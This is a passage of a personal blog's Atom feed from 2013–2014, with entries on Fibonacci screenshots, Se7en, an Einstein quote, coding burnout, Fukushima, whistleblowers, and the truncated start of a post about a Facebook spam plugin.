href=&quot;https://arcolife.in/images/wp/2014/07/screenshot-from-2014-07-29-151852.png&quot;&gt;&lt;img src=&quot;https://arcolife.in/images/wp/2014/07/screenshot-from-2014-07-29-151852.png&quot; alt=&quot;Screenshot from 2014-07-29 15:18:52&quot; width=&quot;300&quot; height=&quot;187&quot; class=&quot;alignnone size-medium wp-image-1296&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
</content>
  </entry>
  <entry>
    <title>On Keith Devlin’s talk and the occurrence of Fibonacci numbers in nature and historical artifacts</title>
    <link href="https://arcolife.in/blog/2014/04/27/on-keith-devlins-talk-and-the-occurrence-of-fibonacci-numbers-in-nature-and-historical-artifacts/"/>
    <id>https://arcolife.in/blog/2014/04/27/on-keith-devlins-talk-and-the-occurrence-of-fibonacci-numbers-in-nature-and-historical-artifacts/</id>
    <published>2014-04-27T11:47:53.000Z</published>
    <updated>2014-04-27T11:47:53.000Z</updated>
    <category term="random"/>
    <category term="golden ratio"/>
    <category term="noteToSelf"/>
    <category term="random obsessions"/>
    <category term="screenshots"/>
    
    <content type="html">&lt;div class=&quot;wp-content&quot;&gt;
&lt;p&gt;&lt;a href=&quot;https://arcolife.in/images/wp/2014/04/screenshot-from-2014-03-01-193231.png&quot;&gt;&lt;img src=&quot;https://arcolife.in/images/wp/2014/04/screenshot-from-2014-03-01-193231.png&quot; alt=&quot;Image&quot; width=&quot;590&quot; height=&quot;331&quot; class=&quot;size-full wp-image&quot; id=&quot;i-1245&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://arcolife.in/images/wp/2014/04/screenshot-from-2014-03-01-191820.png&quot;&gt;&lt;img src=&quot;https://arcolife.in/images/wp/2014/04/screenshot-from-2014-03-01-191820.png&quot; alt=&quot;Image&quot; width=&quot;590&quot; height=&quot;331&quot; class=&quot;size-full wp-image&quot; id=&quot;i-1246&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://arcolife.in/images/wp/2014/04/screenshot-from-2014-03-01-191507.png&quot;&gt;&lt;img src=&quot;https://arcolife.in/images/wp/2014/04/screenshot-from-2014-03-01-191507.png&quot; alt=&quot;Image&quot; width=&quot;590&quot; height=&quot;331&quot; class=&quot;size-full wp-image&quot; id=&quot;i-1247&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://arcolife.in/images/wp/2014/04/screenshot-from-2014-03-01-201201.png&quot;&gt;&lt;img src=&quot;https://arcolife.in/images/wp/2014/04/screenshot-from-2014-03-01-201201.png&quot; alt=&quot;Image&quot; width=&quot;590&quot; height=&quot;331&quot; class=&quot;size-full wp-image&quot; id=&quot;i-1248&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://arcolife.in/images/wp/2014/04/screenshot-from-2014-03-01-201406.png&quot;&gt;&lt;img src=&quot;https://arcolife.in/images/wp/2014/04/screenshot-from-2014-03-01-201406.png&quot; alt=&quot;Image&quot; width=&quot;590&quot; height=&quot;331&quot; class=&quot;size-full wp-image&quot; id=&quot;i-1249&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://arcolife.in/images/wp/2014/04/screenshot-from-2014-03-01-201536.png&quot;&gt;&lt;img src=&quot;https://arcolife.in/images/wp/2014/04/screenshot-from-2014-03-01-201536.png&quot; alt=&quot;Image&quot; width=&quot;590&quot; height=&quot;331&quot; class=&quot;size-full wp-image&quot; id=&quot;i-1250&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://arcolife.in/images/wp/2014/04/screenshot-from-2014-03-01-201840.png&quot;&gt;&lt;img src=&quot;https://arcolife.in/images/wp/2014/04/screenshot-from-2014-03-01-201840.png&quot; alt=&quot;Image&quot; width=&quot;590&quot; height=&quot;331&quot; class=&quot;size-full wp-image&quot; id=&quot;i-1251&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://arcolife.in/images/wp/2014/04/screenshot-from-2014-03-01-202024.png&quot;&gt;&lt;img src=&quot;https://arcolife.in/images/wp/2014/04/screenshot-from-2014-03-01-202024.png&quot; alt=&quot;Image&quot; width=&quot;590&quot; height=&quot;331&quot; class=&quot;size-full wp-image&quot; id=&quot;i-1252&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://arcolife.in/images/wp/2014/04/screenshot-from-2014-03-01-192421.png&quot;&gt;&lt;img src=&quot;https://arcolife.in/images/wp/2014/04/screenshot-from-2014-03-01-192421.png&quot; alt=&quot;Image&quot; width=&quot;590&quot; height=&quot;331&quot; class=&quot;size-full wp-image&quot; id=&quot;i-1253&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://arcolife.in/images/wp/2014/04/screenshot-from-2014-03-01-193433.png&quot;&gt;&lt;img src=&quot;https://arcolife.in/images/wp/2014/04/screenshot-from-2014-03-01-193433.png&quot; alt=&quot;Image&quot; width=&quot;590&quot; height=&quot;331&quot; class=&quot;size-full wp-image&quot; id=&quot;i-1254&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://arcolife.in/images/wp/2014/04/screenshot-from-2014-03-01-192823.png&quot;&gt;&lt;img src=&quot;https://arcolife.in/images/wp/2014/04/screenshot-from-2014-03-01-192823.png&quot; alt=&quot;Image&quot; width=&quot;590&quot; height=&quot;331&quot; class=&quot;size-full wp-image&quot; id=&quot;i-1255&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://arcolife.in/images/wp/2014/04/screenshot-from-2014-03-01-170208.png&quot;&gt;&lt;img src=&quot;https://arcolife.in/images/wp/2014/04/screenshot-from-2014-03-01-170208.png&quot; alt=&quot;Image&quot; width=&quot;590&quot; height=&quot;331&quot; class=&quot;size-full wp-image&quot; id=&quot;i-1256&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
</content>
  </entry>
  <entry>
    <title>Se7en sins Plog</title>
    <link href="https://arcolife.in/blog/2014/04/27/se7en/"/>
    <id>https://arcolife.in/blog/2014/04/27/se7en/</id>
    <published>2014-04-27T11:33:03.000Z</published>
    <updated>2014-04-27T11:33:03.000Z</updated>
    <category term="random"/>
    <category term="movies"/>
    <category term="noteToSelf"/>
    <category term="random obsessions"/>
    <category term="screenshots"/>
    
    <content type="html">&lt;div class=&quot;wp-content&quot;&gt;
&lt;p&gt;&lt;a href=&quot;https://arcolife.in/images/wp/2014/04/screenshot-from-2014-04-27-164640.png&quot;&gt;&lt;img src=&quot;https://arcolife.in/images/wp/2014/04/screenshot-from-2014-04-27-164640.png&quot; alt=&quot;Image&quot; width=&quot;590&quot; height=&quot;331&quot; class=&quot;size-full wp-image&quot; id=&quot;i-1238&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://arcolife.in/images/wp/2014/04/screenshot-from-2014-04-27-164408.png&quot;&gt;&lt;img src=&quot;https://arcolife.in/images/wp/2014/04/screenshot-from-2014-04-27-164408.png&quot; alt=&quot;Image&quot; width=&quot;590&quot; height=&quot;331&quot; class=&quot;size-full wp-image&quot; id=&quot;i-1240&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://arcolife.in/images/wp/2014/04/screenshot-from-2014-04-27-164406.png&quot;&gt;&lt;img src=&quot;https://arcolife.in/images/wp/2014/04/screenshot-from-2014-04-27-164406.png&quot; alt=&quot;Image&quot; width=&quot;590&quot; height=&quot;331&quot; class=&quot;size-full wp-image&quot; id=&quot;i-1241&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://arcolife.in/images/wp/2014/04/screenshot-from-2014-04-27-164403.png&quot;&gt;&lt;img src=&quot;https://arcolife.in/images/wp/2014/04/screenshot-from-2014-04-27-164403.png&quot; alt=&quot;Image&quot; width=&quot;590&quot; height=&quot;331&quot; class=&quot;size-full wp-image&quot; id=&quot;i-1242&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
</content>
  </entry>
  <entry>
    <title>“I have never b…</title>
    <link href="https://arcolife.in/blog/2014/03/18/i-have-never-b/"/>
    <id>https://arcolife.in/blog/2014/03/18/i-have-never-b/</id>
    <published>2014-03-18T08:58:15.000Z</published>
    <updated>2014-03-18T08:58:15.000Z</updated>
    <category term="random"/>
    <summary>“I have never belonged wholeheartedly to country or State, to my circle of friends or even to my own family. Such isolation is sometimes bitter, but I do not regret being cut off from the understanding and sympathy of…</summary>
    <content type="html">&lt;div class=&quot;wp-content&quot;&gt;
&lt;blockquote&gt;&lt;p&gt;&amp;#8220;I have never belonged wholeheartedly to country or State, to my circle of friends or even to my own family. Such isolation is sometimes bitter, but I do not regret being cut off from the understanding and sympathy of other men. I lose something by it,to be sure, but I am compensated for it in being rendered independent of the customs, opinions and prejudices of others, and am not tempted to rest my peace of mind upon such shifting foundations.&amp;#8221;&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;&amp;#8211; Albert Einstein&lt;/p&gt;
&lt;/div&gt;
</content>
  </entry>
  <entry>
    <title>Watch that video. Enough said.</title>
    <link href="https://arcolife.in/blog/2014/03/18/watch-that-video-enough-said/"/>
    <id>https://arcolife.in/blog/2014/03/18/watch-that-video-enough-said/</id>
    <published>2014-03-18T08:53:09.000Z</published>
    <updated>2014-03-18T08:53:09.000Z</updated>
    <category term="random"/>
    <category term="football"/>
    <category term="Lionel Messi"/>
    <category term="wonders"/>
    <summary>Majestic, inspirational, supernatural and one of a kind, Lionel Messi! 10 Magisterial Dribble-Goals.</summary>
    <content type="html">&lt;div class=&quot;wp-content&quot;&gt;
&lt;p&gt;&lt;p class=&quot;yt-gone&quot;&gt;A YouTube video was embedded here (&lt;code&gt;eOuyyWfznYw&lt;/code&gt;). It is no longer available.&lt;/p&gt; &lt;/p&gt;
&lt;p&gt;Majestic, inspirational, supernatural and one of a kind, Lionel Messi! &lt;/p&gt;
&lt;p&gt;10 Magisterial Dribble-Goals.&lt;/p&gt;
&lt;/div&gt;
</content>
  </entry>
  <entry>
    <title>Confessions of a code-a-holic</title>
    <link href="https://arcolife.in/blog/2014/03/16/confessions-of-a-code-a-holic/"/>
    <id>https://arcolife.in/blog/2014/03/16/confessions-of-a-code-a-holic/</id>
    <published>2014-03-16T17:47:13.000Z</published>
    <updated>2014-03-16T17:47:13.000Z</updated>
    <category term="random"/>
    <category term="burnout"/>
    <category term="coding"/>
    <category term="goosebumps"/>
    <category term="philosophy"/>
    <category term="poem"/>
    <category term="resolutions"/>
    <summary>EDIT: Let me warn you: This post ain’t pretty. A serious attempt to digress has been made. Ok, you may now continue reading. .. That moment, when you start getting goosebumps and then the moment just doesn’t feel right…</summary>
    <content type="html">&lt;div class=&quot;wp-content&quot;&gt;
&lt;p&gt;EDIT: Let me warn you: This post ain&amp;#8217;t pretty. A serious attempt to digress has been made.&lt;/p&gt;
&lt;p&gt;Ok, you may now continue reading.&lt;/p&gt;
&lt;p&gt;..&lt;/p&gt;
&lt;p&gt;That moment, when you start getting &lt;a href=&quot;https://twitter.com/arcolife/status/445192409563934720&quot; target=&quot;_blank&quot;&gt;goosebumps&lt;/a&gt; and then the moment just doesn&amp;#8217;t feel right and then you &lt;a href=&quot;https://twitter.com/arcolife/status/445193014969761792&quot; target=&quot;_blank&quot;&gt;tweet something like this.&lt;/a&gt;&lt;/p&gt;
&lt;div style=&quot;width: 360px&quot; class=&quot;wp-caption aligncenter&quot;&gt;&lt;a href=&quot;https://arcolife.in/images/wp/2014/03/img_1462735336655.jpeg&quot;&gt;&lt;img src=&quot;https://arcolife.in/images/wp/2014/03/img_1462735336655.jpeg&quot; alt=&quot;Image&quot; title=&quot;Currently&quot; width=&quot;350&quot; height=&quot;700&quot; class=&quot;size-full wp-image &quot; id=&quot;i-1184&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/a&gt;&lt;p class=&quot;wp-caption-text&quot;&gt;Grumpy Cat is right.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;Well, you know you don&amp;#8217;t wanna do it. Because the process is so nasty / convoluted / coiled up / intricate (courtesy: A Thesaurus! &lt;em&gt;genius&lt;/em&gt; ). You know the process, you know the idea, you know the solution, but you JUST DONT WANNA DO IT! I mean, how difficult is it to give up? tad difficult when you have some interest in the project. And then you don&amp;#8217;t wanna give in, because you have a freakin&amp;#8217; deadline to meet. You were a big time procrastinator once in life, and you know it, oh you know it for sure YOU.. that if you give up now, that haunted past of yours is gonna overtake you on the road of progress and misguide you to the road of hell.&lt;/p&gt;
&lt;p&gt;Right now, self motivation is &amp;gt;&amp;gt; &amp;#8212;- &amp;lt;&amp;lt; here and your voluntary action-taking motivation is well, &amp;gt;&amp;gt; __ &amp;lt;&amp;lt; here. (Get it?)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Btw &lt;a href=&quot;http://www.youtube.com/watch?v=cMFWFhTFohk&quot; target=&quot;_blank&quot;&gt;this track is awesome&lt;/a&gt; *&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You go on and read &lt;a href=&quot;http://www.reddit.com/r/AskComputerScience/comments/1fvxm3/how_to_deal_with_programming_burnout&quot; target=&quot;_blank&quot;&gt;such posts&lt;/a&gt; and then think of some resolutions that you know wouldn&amp;#8217;t work. at least, for now!&lt;/p&gt;
&lt;p&gt;So what do you do?&lt;/p&gt;
&lt;p&gt;Well, you keep listening to such awesome tracks as the one mentioned above and then move on to something more cheerful.&lt;br /&gt;
How about:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a style=&quot;font-style:normal;&quot; href=&quot;http://www.youtube.com/watch?v=xiuzFNtki60&quot; target=&quot;_blank&quot;&gt;Robert Downey Jr Sings With Sting And Absolutely Kills It,&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;font-style:normal;&quot; href=&quot;http://www.youtube.com/watch?v=IPKAwJKGSDc&quot; target=&quot;_blank&quot;&gt;Empire Of The Sun- Alive&lt;/a&gt;,&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;font-style:normal;&quot; href=&quot;http://www.youtube.com/watch?v=mtxXWluqva8&quot; target=&quot;_blank&quot;&gt;Doin&amp;#8217; It Right (Delta Mix) by Steve Azar&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;font-style:normal;&quot; href=&quot;http://www.youtube.com/watch?v=Mu28Lt2-aHw&quot; target=&quot;_blank&quot;&gt;Get Lucky &amp;#8211; Daft Punk ft Pharrell ( Official Cover Video by D &amp;amp; R Munoz)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;meanwhile you listen to all the crap that your neighbors are shouting, as a part of family drama and then decide to listen to these very awesome tracks on speaker and make it so loud, its hard for them to speak and argue anymore&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Well, every story doesn&amp;#8217;t have a happy ending, and I hope you must have guessed by now, that this post is an attempt to do away with personal in-memory rants and agitations. So, I have succeeded.&lt;/p&gt;
&lt;p&gt;Signing off.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;arcolife&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;PS 1:&lt;/p&gt;
&lt;p&gt;There&amp;#8217;s a sweet poem I&amp;#8217;d like to quote from a Bollywood flick &amp;#8211; &amp;#8216;Zindagi Na Milegi Dobara&amp;#8217; (You only get one chance to live). Here it is:&lt;/p&gt;
&lt;p&gt;&amp;#8220;If you&amp;#8217;re carrying your restlessness in your heart,&lt;br /&gt;
You are alive.&lt;br /&gt;
If you&amp;#8217;re carrying the lightening of dreams in your eyes,&lt;br /&gt;
You are alive.&lt;br /&gt;
Like a gust of wind, learn to live free.&lt;br /&gt;
Learn to flow like the waves that make a sea.&lt;br /&gt;
Let your arms be wide open, to every moment you meet.&lt;br /&gt;
May every moment gift a new sight to greet.&lt;br /&gt;
If you&amp;#8217;re carrying your wonder in your eyes,&lt;br /&gt;
You are alive.&lt;br /&gt;
If you&amp;#8217;re carrying your restlessness in your heart,&lt;br /&gt;
You are alive.&amp;#8221;&lt;/p&gt;
&lt;p&gt;🙂&lt;/p&gt;
&lt;p&gt;PS 2: This one does have a happy ending. You had to wait, didn&amp;#8217;t you? ;]&lt;/p&gt;
&lt;/div&gt;
</content>
  </entry>
  <entry>
    <title>☢ Fukushima: Beyond Urgent ☢</title>
    <link href="https://arcolife.in/blog/2013/11/05/☢-fukushima-beyond-urgent-☢/"/>
    <id>https://arcolife.in/blog/2013/11/05/☢-fukushima-beyond-urgent-☢/</id>
    <published>2013-11-05T14:58:08.000Z</published>
    <updated>2013-11-05T14:58:08.000Z</updated>
    <category term="random"/>
    <category term="crisis"/>
    <category term="environment"/>
    <category term="explosion"/>
    <category term="Fukushima"/>
    <category term="nuclear"/>
    <summary>The Fukushima nuclear crisis and what is the government/society doing about it? 1. Repair work cannot be safely conducted without removing the water. 2. Metallic plates bolted instead of welded. 3. Farmers forcibly…</summary>
    <content type="html">&lt;div class=&quot;wp-content&quot;&gt;
&lt;p&gt;&lt;p class=&quot;yt-gone&quot;&gt;A YouTube video was embedded here (&lt;code&gt;WiBVBdM77s4&lt;/code&gt;). It is no longer available.&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;The Fukushima nuclear crisis and what is the government/society doing about it?&lt;/p&gt;
&lt;p&gt;1. Repair work cannot be safely conducted without removing the water.&lt;br /&gt;
2. Metallic plates bolted instead of welded.&lt;br /&gt;
3. Farmers forcibly sell polluted vegetables.&lt;br /&gt;
4. cannot be controlled. Still leaks being detected.&lt;br /&gt;
5. Any mishaps now could cause nuclear explosion at far greater scales than seen.&lt;br /&gt;
6. Repair work cannot be safely conducted without removing the water.&lt;br /&gt;
7. In 6 years, as per the german marine research graphic, entire Pacific area, originating from the coasts, is predicted to be contaminated.&lt;br /&gt;
8. The whole experiment infrastructure is being built is it is being carried on.&lt;/p&gt;
&lt;p&gt;no shit!&lt;/p&gt;
&lt;/div&gt;
</content>
  </entry>
  <entry>
    <title>Ways to start-over with our Political Regimes?</title>
    <link href="https://arcolife.in/blog/2013/06/23/ways-to-start-over-with-our-political-regimes-2/"/>
    <id>https://arcolife.in/blog/2013/06/23/ways-to-start-over-with-our-political-regimes-2/</id>
    <published>2013-06-23T12:02:31.000Z</published>
    <updated>2013-06-23T12:02:31.000Z</updated>
    <category term="hacks"/>
    <category term="Open Source"/>
    <category term="philosophy"/>
    <category term="current-events"/>
    <category term="defending the truth"/>
    <category term="edward snowden"/>
    <category term="politics"/>
    <category term="thomas drake"/>
    <summary>Dedicated to Thomas Drake, Edward Snowden and all those who’ve risked their lives, defending the truth &amp; morality. Few months ago I watched this awe-inspiring video of Thomas Drake, the so-called ‘whistle-blower’ […</summary>
    <content type="html">&lt;div class=&quot;wp-content&quot;&gt;
&lt;blockquote&gt;&lt;p&gt;Dedicated to Thomas Drake, Edward Snowden and all those who&amp;#8217;ve risked their lives, defending the truth &amp;amp; morality.&lt;/p&gt;&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;div data-shortcode=&quot;caption&quot; id=&quot;attachment_851&quot; style=&quot;width: 310px&quot; class=&quot;wp-caption aligncenter&quot;&gt;&lt;a href=&quot;https://arcolife.in/images/wp/2013/06/aaron-swartz.jpg&quot; rel=&quot;attachment wp-att-851&quot;&gt;&lt;img src=&quot;https://arcolife.in/images/wp/2013/06/aaron-swartz.jpg&quot; alt=&quot;Dedicated to the memory of Aaron Swartz.&quot; width=&quot;300&quot; height=&quot;200&quot; class=&quot;size-medium wp-image-851&quot; aria-describedby=&quot;caption-attachment-851&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/a&gt;&lt;p id=&quot;caption-attachment-851&quot; class=&quot;wp-caption-text&quot;&gt;Also dedicated to the memory of &lt;a class=&quot;zem_slink&quot; title=&quot;Aaron Swartz&quot; href=&quot;http://www.aaronsw.com/&quot; target=&quot;_blank&quot; rel=&quot;homepage&quot;&gt;Aaron Swartz&lt;/a&gt;.&lt;/p&gt;&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;Few months ago &lt;a href=&quot;http://www.youtube.com/watch?v=3Wp2BGLMqDM&quot; target=&quot;_blank&quot;&gt;I watched this awe-inspiring video&lt;/a&gt; of Thomas Drake, the so-called &amp;#8216;whistle-blower&amp;#8217; [ formerly a  Chief Executive on the &lt;a class=&quot;zem_slink&quot; title=&quot;National Security Agency&quot; href=&quot;http://maps.google.com/maps?ll=39.109,-76.77&amp;amp;spn=0.01,0.01&amp;amp;q=39.109,-76.77 (National%20Security%20Agency)&amp;amp;t=h&quot; target=&quot;_blank&quot; rel=&quot;geolocation&quot; rel=&quot;nofollow&quot;&gt;NSA&lt;/a&gt; ] in some US classified case regarding post 9/11 actions taken by the government.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;And now it&amp;#8217;s the &amp;#8220;NSA&amp;#8217;s PRISM&amp;#8221; whistle-blower Edward Snowden [ &lt;a href=&quot;https://www.youtube.com/watch?v=5yB3n9fu-rM&quot; target=&quot;_blank&quot;&gt;and here&amp;#8217;s yet another inspiring video&lt;/a&gt; ]&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The way the governments work is a fact, mostly unknown. And agreed, it should be kept that way, but only as long as its ethical, humane and is not in corrupt, greedy hands. But obviously, such a thing isn&amp;#8217;t possible! People-in-power eventually use others as the stepping-stones. Because corruption is the bitter truth of life. Mostly, those who&amp;#8217;re at the demanding end of it, are responsible for it. And MOSTLY, they&amp;#8217;re the Leaders.&lt;br /&gt;
Now if you need facts, I am not just another NSA/CIA/FBI/local police official (yeah it feels nice to quote all of these still &amp;#8220;respected&amp;#8221; agencies), who has access to facts, but being a common man, I can ascertain a logical path towards how I reached this conclusion. Leaders, have the power. If they feel threatened/weak/greedy, they panic (and believe me, those leaders who panic a lot, are not fit to be called leaders) OR/AND they order lower ranks that, as commonly is quoted in movies/sting-operations, &amp;#8220;The_Work_Should_Be_Done_By_Tomorrow&amp;#8221;. The lower ranks turn to their peers/juniors in the hierarchy and do the same, whether under pressure, or as is habitual for many. Hence, corruption spreads that way. Unless, someone from lower ranks has enough damn money to lure the upper ranks, it&amp;#8217;s the leaders mostly.&lt;/p&gt;
&lt;p&gt;Again, if you deny this argument, then I am (as usually the public is), left helpless. As an individual I am weak against Government&amp;#8217;s unethical measures. But as a public, I ain&amp;#8217;t. After all, those who&amp;#8217;re the leaders, became one, through these public discussions, on the basis of trust ( and a little money-money thingy! eh? ). They won those very arguments on basis of rebuttals against the points put forth by their rivals. I read somewhere &amp;#8220;civilization presupposes respect for the law&amp;#8221;. But what happens, is due to pressure/greed, mostly the fire dies within their souls and they blend into the system, instead of changing it, as they were supposed to do.&lt;/p&gt;
&lt;p&gt;But those who don&amp;#8217;t, are called the &amp;#8220;&lt;a class=&quot;zem_slink&quot; title=&quot;Whistleblower&quot; href=&quot;http://en.wikipedia.org/wiki/Whistleblower&quot; target=&quot;_blank&quot; rel=&quot;wikipedia&quot;&gt;Whistle-blowers&lt;/a&gt;&amp;#8221;&lt;/p&gt;
&lt;p&gt;Anyways, my point being, transparency hardly exists. No one, mostly, no one ..is answerable to the public, if some fundamental flaws are brought to their attention. Even If some amendments are broken/purged.&lt;/p&gt;
&lt;p&gt;&amp;#8216;Government&amp;#8217; though being just a term, includes a huge web of organizations, systems, norms, people, thought processes, law &amp;amp; enforcement strategies and technologies used to assist those methodologies.&lt;/p&gt;
&lt;p&gt;The &amp;#8216;democratic&amp;#8217; power is not to be misused. Benefits are of all kinds. If these are drawn out, from individual citizens, without them knowing about it, people get disturbed. If someone defends the truth, then, do the morals of those government officials just get diluted?&lt;br /&gt;
I&amp;#8217;d say tell them to look upon their actions, to review what they&amp;#8217;ve done and they&amp;#8217;ll never respect themselves anymore.&lt;/p&gt;
&lt;p&gt;Aaron Swartz was a good guy. Thomas Drake did not have to undergo that torture. These examples are increasing over the period of time.&lt;br /&gt;
Know why? 😐 Because governments are swiftly seeking more power and making undesirable changes in the structure of law.&lt;/p&gt;
&lt;p&gt;From the interview of Snowden:&lt;/p&gt;
&lt;p&gt;&amp;#8221; &amp;#8230;.If they wanna get you, they&amp;#8217;ll get you in time. They&amp;#8217;re the world&amp;#8217;s most powerful intelligence agency!&amp;#8221;&lt;br /&gt;
&lt;em&gt;True! You don&amp;#8217;t face them straight-up!&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&amp;#8220;&amp;#8230;.One wrong call (and a bad one) attended makes you suspicious. They just have to go back in time and scrutinize you.&amp;#8221;&lt;/p&gt;
&lt;p&gt;If we, the people, target those governments and demand answers, well I&amp;#8217;m sure everybody knows their response to that!&lt;/p&gt;
&lt;p&gt;Right now, it&amp;#8217;s not just about Edward Snowden leaving everything behind to disclose the behavior and powers of government, locally and globally, It&amp;#8217;s about him taking this path to make the general public aware about whats happening. And in my opinion, he did nothing wrong and has every right to disclose unethical governmental measures towards ways of public surveillance.&lt;/p&gt;
&lt;p&gt;I don&amp;#8217;t suggest starting a riot or something. I just demand from each one of you, all those to whom, I could reach out, to create such high levels of awareness about whats happening, that the governments are forced to conduct a poll or something, or at least revise their plan/course of actions, in order to restore peace and ethnicity around the world.&lt;/p&gt;
&lt;p&gt;I shall again put forward this point (&lt;a href=&quot;https://twitter.com/arcolife/statuses/309652044980056064&quot; target=&quot;_blank&quot;&gt;as once I did a while ago&lt;/a&gt;) that :&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;&amp;#8220;Political leaders are public servants and should behave like one.&amp;#8221;&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;Going out-of-bounds is not acceptable. No, Sir.  Play nice, or people WILL bring you down. It&amp;#8217;s in the hands of the governments, to maintain/restore peace, or further, stir public agitation.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://arcolife.in/blog/2013/06/21/a-little-probe-into-a-facebook-spam-add-plugin-to-update-your-browser/&quot; target=&quot;_blank&quot;&gt;I had taken steps previously, on whatever grounds,&lt;/a&gt; with whatever skills I possess at this point of time, to help make the world a safer place. So you see, It&amp;#8217;s NOT ACCEPTABLE that I shall keep helping the governments / public, when they&amp;#8217;re giving us this holier-than-thou treatment. (..and in 99.999999 % of the cases, the governments are/would-be wrong, not the public ! ).&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;Personally, I am not against anyone or anybody.&lt;br /&gt;
But these whistle-blowers do inspire me, to be a misfit.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;A note to those who&amp;#8217;re doing it wrong:-&lt;/p&gt;
&lt;p&gt;Beware, of the public. These actions of yours, only lower our trust in you. If you tend to hide these activities, you&amp;#8217;re risking everything you have. Remember, some of us are still young and have robust ideas. And the young blood is known to boil more. But we can also be patient enough, unless you disrupt our emotions/logical reasoning/conceptual school of thoughts. Let the &amp;#8220;Do No Disturb&amp;#8221; tags keep hanging on our doors or people will remove yours, eventually.&lt;/p&gt;
&lt;p&gt;PS:- Quickly, now&lt;a title=&quot;Backtracking the Hacker&quot; href=&quot;https://arcolife.in/blog/2013/06/21/a-little-probe-into-a-facebook-spam-add-plugin-to-update-your-browser/&quot; target=&quot;_blank&quot;&gt; remember the steps i took on my own part.&lt;/a&gt; I ain&amp;#8217;t a bad guy. 🙂&lt;br /&gt;
[ yeah I was just promoting my other post. Now, Alright? ]&lt;/p&gt;
&lt;p&gt;Peace out.&lt;/p&gt;
&lt;/div&gt;
</content>
  </entry>
  <entry>
    <title>A little probe into the Facebook spam “Add plugin to update your browser”</title>
    <link href="https://arcolife.in/blog/2013/06/21/a-little-probe-into-a-facebook-spam-add-plugin-to-update-your-browser/"/>
    <id>https://arcolife.in/blog/2013/06/21/a-little-probe-into-a-facebook-spam-add-plugin-to-update-your-browser/</id>
    <published>2013-06-20T23:23:30.000Z</published>
    <updated>2013-06-20T23:23:30.000Z</updated>
    <category term="hacks"/>
    <category term="ads"/>
    <category term="Anonymous"/>
    <category term="Facebook"/>
    <category term="Google"/>
    <category term="Spam"/>
    <summary>—————————————— DISCLAIMER —————————————————- this research might contain sensitive data. Since all data has been exposed by the hacker, I take no responsibility, whatsoever for any kind of data. It was already publicly…</summary>
    <content type="html">&lt;div class=&quot;wp-content&quot;&gt;
&lt;blockquote&gt;&lt;p&gt;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;  &lt;strong&gt;DISCLAIMER  &lt;/strong&gt;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;-&lt;/p&gt;
&lt;p&gt;this research might contain sensitive data. Since all data has been exposed by the hacker, I take no responsibility, whatsoever for any kind of data. It was already publicly available.&lt;/p&gt;
